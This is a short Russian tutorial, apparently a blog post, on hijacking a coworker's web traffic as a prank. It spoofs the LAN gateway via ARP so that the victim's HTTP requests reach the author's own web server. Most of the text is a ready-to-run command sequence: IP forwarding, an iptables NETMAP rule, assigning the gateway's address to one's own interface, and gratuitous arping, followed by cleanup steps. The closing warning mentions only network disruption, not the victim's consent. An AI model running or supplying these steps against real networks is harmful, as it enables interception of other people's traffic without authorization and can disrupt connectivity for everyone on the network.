Подстановка HTTP-трафика определенному компьютеру в локальной сети
Используя нехитрые манипуляции в Linux можно подшутить или удивить соседа по офису, например, отобразив персональное поздравление при попытке
открыть соседом какой-нибудь известного ресурса.
Манипуляции проделываются без изменения конфигурации шлюза, путем поднятия web-сервера на своей машине и
перенаправление на него запросов, через подмену ARP-адреса шлюза в кэше на машине соседа.
Техника действует только в пределах локальной сети.
Включаем на своей машине перенаправление IP-пакетов:
echo 1 > /proc/sys/net/ipv4/ip_forward
Перенаправляем запросы на 80-порт, заменив адрес назначения в пакете на 192.168.1.200 - локальный IP машины с подставным шлюзом. На локальной машине должен быть заблаговременно поднят http-сервер с нужной страницей.
iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
Добавляем адрес реального шлюза (192.168.1.1) на сетевой интерфейс:
ip addr add 192.168.1.1/24 dev eth0
Анонсируем смену MAC-адреса шлюза:
arping -c 3 -A -I eth0 192.168.1.1
После завершения розыгрыша убираем IP шлюза с локального интерфейса:
ip addr delete 192.168.1.1/24 dev eth0
iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to 192.168.1.200
ifconfig eth0 down
ifconfig eth0 up
arp -d 192.168.1.1
Внимание, описанное действие не следует применять в рабочей сети предприятия, так как подстановка шлюза на время блокирует работу сети из-за конфликта с реальным шлюзом.